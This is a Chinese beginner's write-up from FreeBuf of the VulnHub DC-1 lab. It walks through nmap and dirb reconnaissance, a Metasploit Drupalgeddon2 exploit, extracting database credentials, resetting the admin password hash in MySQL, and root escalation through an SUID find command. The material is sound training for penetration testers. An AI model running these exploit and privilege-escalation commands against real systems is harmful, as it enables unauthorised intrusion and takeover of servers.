freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试初体验:DC-1靶场
2022-08-07 21:43:30
所属地 江苏省

渗透测试初体验:DC-1靶场

一、环境准备

攻击机:kali,kali是我几年前安装的,当时想着学习一下kali系统的使用,可是后来转向白盒代码审计了,也就一直搁浅,因为渗透的话需要使用到nmap,metaploit等工具,kali系统里面全部都集成了,省的再重新安装,因此如果没有安装kali系统的可能需要自己去百度一下如何安装以及如何配置,更新源和输入法等等

1659878602_62efbcca3af7850b77540.png!small?1659878602377

1659878618_62efbcdaae7a1b3ba80a6.png!small?1659878618893

1659878643_62efbcf384f5812d6eae6.png!small?1659878643534

靶机:首先下载DC-1靶场,并在虚拟机中进行安装,安装的时候会提示有风险,不需要管, 直接下一步,强制安装就可以了

https://www.vulnhub.com/entry/dc-1,292/

1659878672_62efbd1072284f1f09993.png!small?1659878672374

2.1、对虚拟机进行相关的配置

1659878719_62efbd3f322822c4d7e4d.png!small?1659878719483

安装完成之后的页面,当时安装完成之后需要输入用户名和密码,捣鼓了半天,我也没找到哪边有显示用户名和密码,后来百度了一下发现,不需要进去,出现如下的页面就表明靶机已经安装完成了,正常渗透就行

1659878792_62efbd88964144482f376.png!small?1659878792465

这边遇到了一个问题,由于一开始我的攻击机使用的是桥接的模式,靶机使用的是NAT模式,就会导致两者不在同一个网段,需要都修改成NAT模式,才能保证在同一个网段,但是我把kali修改成NAT之后,奇怪的事情发生了,使用ip addr命令,无法显示IP地址,后来百度了一下,在编辑-虚拟网络编辑器-还原默认设置,之后重新启动攻击机和靶机,这样就可以了


1659878876_62efbddc96505e0171160.png!small?16598788765971659878861_62efbdcd9ab9503903c27.png!small?1659878861792

二、信息收集

由于是第一次进行渗透,主要还是参考前辈们的文章,再结合自己的理解,熟悉一下攻击流程

1、使用Nmap工具对网段进行扫描

使用如下nmap命令先对192.168.40网段进行扫描,先找到靶机的IP地址

nmap 192.168.40.0/24

1659878919_62efbe079a5f536a740cc.png!small?1659878919929

由上图就可以初步判断出靶机的IP为192.168.40.128,直接尝试登陆一下,看看对不对

1659878930_62efbe120d2a626d5a273.png!small?1659878929920

可以看到确实是这个IP,然后页面上面显示powered by Drupal,这个应该是个框架,百度一下看看,发现是一个基于PHP的内容管理系统,那么就可能会存在漏洞,可以使用MSF攻击一下

1659878967_62efbe3741f0f145de130.png!small?1659878967205

1659878962_62efbe320e4024e78892a.png!small?1659878962298

使用Nmap进行一下加强扫描,可以得到一些比较详细的信息

nmap -sS -sV -sC –O 192.168.40.128

1659878976_62efbe40b53815b6c2d57.png!small?1659878977157

可以看到使用的Drupal7版本

使用dirb目录扫描工具进行进一步的信息探测

1659879047_62efbe873d1fdf5ddb174.png!small?1659879047198

Robots.txt是开放的,里面感觉也没啥重要的信息

目录扫描可以看到,都是403,无权限访问的页面,200都是不需要登录就可以访问的权限

1659879058_62efbe923f93f78b674ed.png!small?1659879059322

1659879100_62efbebced50ebe7af53b.png!small?1659879100818

既然有登录页面,那么看一下可不可以进行暴力破解以及重置密码等漏洞

1659879112_62efbec89c6a1d2533d8c.png!small?1659879112588

输入错的密码看看报错,提示的是用户名或者密码错误,无法猜解用户名

1659879133_62efbedd37d7dca9ce9c2.png!small?1659879133087

看看有没有锁定机制或者验证码机制,密码输错五次之后会进行锁定,那么就没法进行暴力破解

1659879164_62efbefcc288144efad7c.png!small?1659879164668

看看重置密码有没有问题,重置的话需要邮箱,并且是邮箱发送新密码

1659879172_62efbf04946c1f633aece.png!small?1659879172474

那就没辙了,只能进入数据库里面去找用户名和密码了。

顺便注册个新账号,看看里面都是啥,注册的话还需要管理员进行审批,那么就意味着普通账号也获取不到,不能利用越权的方式来获取更多信息

1659879197_62efbf1d7807fff41a55c.png!small?1659879197431

总结一下,通过上面的信息收集,我们知道了使用的框架版本Drupal7,使用的是mysql数据库,那么就从框架出手,用一下MSF,看看有没有漏洞可以利用

三、漏洞扫描及利用

1、打开msf控制台

msfconsole

1659879211_62efbf2bc174db913d1d3.png!small?1659879211910

2、搜索Drupal的相关漏洞

search Drupal

1659879230_62efbf3e5ebc35ef3951c.png!small?1659879230555

可以看到有7个相关的漏洞,rank选择excellent,check选择yes,然后日期最新的,那么第四个可以使用

3、选择漏洞进行使用

msf5 > use 4

msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

1659879240_62efbf48f23a50996e2e1.png!small?1659879240983

只要配置了rhosts为靶机IP即可使用exploit,命令行先后键入

msf5 > set rhosts 192.168.40.128

msf5 > exploit

1659879264_62efbf603675715076bbf.png!small?1659879264120

exploit执行,意外发现可以直接建立起一个session(如果没建立起session,可以先尝试其他的exploit,若全部无法建立session再做考虑):

当然了,我这个是因为知道第四个是可以建立攻击成功的,如果在不知道的情况下,那就只能挨个进行尝试了,建立了一个session连接,就意味着我们已经获得了一个shell

Meterpreter也有自己一套独特的命令,有需要的可以自己去学习一下

查看获取的shell的权限

1659879284_62efbf7477076b2e503fb.png!small?1659879285121

四、找flag(提权和横向渗透)

作者其实在说明里面就说了,最终目标是获取root权限,为此他设置了5个flag,给初学者以引导,当然大神也可以无视这5个flag,直接提升root权限。那么接下来我们跟着这5个flag来学习一下,怎么获取root权限

Flag1:

这个我上面的截图里面已经看到了

1659879310_62efbf8e4a909313c412a.png!small?1659879310440

1659879315_62efbf93a2cebb3a51377.png!small?1659879315562

提示我们要去找CMS的配置文件

同时发现之前页面可以访问的robots.txt文件在这里,那么其实flag1的话页面也是可以访问的dirb目录遍历应该是可以遍历出来的

1659879335_62efbfa79cb6007f446ae.png!small?1659879335517

Flag2:

根据上面的提示,去翻目录

1659879343_62efbfafb37beeb0fa199.png!small?1659879343869

在/var/www/sites/default/settings.php drupal的配置文件中获取到 flag2

暴力破解和目录攻击不是唯一的方式获取登录的权限,那么就只能去数据库里面查找对应的用户名和密码了。

1659879363_62efbfc3c347747921d37.png!small?1659879363703

$drupal_hash_salt = 'X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs';

$databases = array (

'default' =>

array (

'default' =>

array (

'database' => 'drupaldb',

'username' => 'dbuser',

'password' => 'R0ck3t',

'host' => 'localhost',

'port' => '',

'driver' => 'mysql',

'prefix' => '',

),

),

);

Flag3:

输入 python 命令,获取交互式 shell

shell

python -c 'import pty;pty.spawn("/bin/bash")'


1659879385_62efbfd9573d16e4b86f1.png!small?16598793852001659879373_62efbfcdf421d56c7437e.png!small?1659879373861

可以看到有mysql的进程,直接输入命令进入数据库

1659879409_62efbff1923cbcc14330f.png!small?1659879409714

成功进入数据库,找到对应的库

1659879416_62efbff83263730be743e.png!small?1659879416163

可以看到有一堆表,直接找我们感兴趣的用户名和密码表,可以看到有三个用户,密码是进行了哈希操作的,这个想破解的话,看起来是比较难的,前面在页面也试了,页面有防暴力破解的机制,无法使用burpsuite进行暴力破解。

1659879453_62efc01d6ad404a740b26.png!small?1659879453357

那么只要我们自己新建一个密码,进行同样的哈希,再进行替换就可以了,全局搜一下看看有没有相关的哈希算法。

1659879460_62efc024aada4288686df.png!small?1659879461201

发现有个password-hash.sh脚本

直接使用如下命令,设置新密码为123456

/var/www/scripts/password-hash.sh 123456

1659879476_62efc03404d7428083483.png!small?1659879475888

$S$DVk4bo8B2BWVB3QIsLbQ9.89rC29O0mZwWAV/bRpT59H/O1MutvG

然后重新进入数据库,替换对应的admin的密码

update users set pass="$S$DVk4bo8B2BWVB3QIsLbQ9.89rC29O0mZwWAV/bRpT59H/O1MutvG" where name="admin";

1659879481_62efc039f38c83d85d8ca.png!small?1659879481886

1659879494_62efc046d0e57849ecc13.png!small?1659879494775

这就已经修改成功了

Flag3:

这个时候我们已经知道了管理员的用户名和密码

admin:123456

登录进去看看flag3在哪里,登录之后就可以看到flag3

1659879502_62efc04e613d742fe5403.png!small?1659879502284

Flag4:

按照flag3的意思,应该是有个隐藏的用户

1659879512_62efc058c9f0a602832d7.png!small?1659879512952

可以看到有个flag4用户,而且目录是/home/flag4

看一下

1659879523_62efc063f1a0929f0a959.png!small?1659879523889

提示是使用find 命令

Flag5:

根据之前flag4得到的提醒,最终的flag在root目录下,而要进入root目录,显而易见地需要进行提权。

提示可以使用存在root权限的命令来进行提权

概念:SUID是一种Linux的权限机制,指某可执行程序在执行时将会使调用者暂时得到被执行程序的权限,如果被执行程序可以执行脚本或指令的话,就可以利用这个脚本或指令进行提权。

典型例子:

Nmap

Vim

find

Bash

More

Less

Nano

Cp

find / -user root -perm -4000 -print 2>/dev/null

1659879531_62efc06bc8b2960329598.png!small?1659879531955

有个/usr/bin/find/,那么就可以尝试使用find指令进行提权

发现原理:find指令可以有一个-exec的输入,可以执行一条指令或是一个脚本。若find是root权限,那么这条指令或脚本将以root权限执行

通用的方式如下:

find [文件名] -exec [想执行的命令] \;

注意只有当[文件名]对应的文件存在时,之后的命令才会执行。

创建一个test.txt

1659879546_62efc07a8cd202e278fe0.png!small?1659879546665

然后执行find命令

find test.txt -exec "/bin/sh" \;

1659879552_62efc0804be4b2aac4a6e.png!small?1659879552155

1659879580_62efc09cb05d9c340ee42.png!small?1659879580699

发现提权成功,然后去root目录下就可以获取到最终的flag。

到此算是完成了五个flag的获取,但是在执行的过程中,如下问题需要整明白

四、遗留问题(后续学习后更新)

1、如下获取交互式shell的命令如何使用?

输入 python 命令,获取交互式 shell

shell

python -c 'import pty;pty.spawn("/bin/bash")'

2、suid提权的使用,及如下命令的使用?

find / -user root -perm -4000 -print 2>/dev/null

3、为何此处要执行/bin/sh

find test.txt -exec "/bin/sh" \;

参考文章:

https://www.freebuf.com/articles/web/339148.html

https://www.freebuf.com/articles/web/260236.html

https://www.freebuf.com/sectool/253327.html

# 渗透测试 # web安全 # 数据安全 # CTF # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录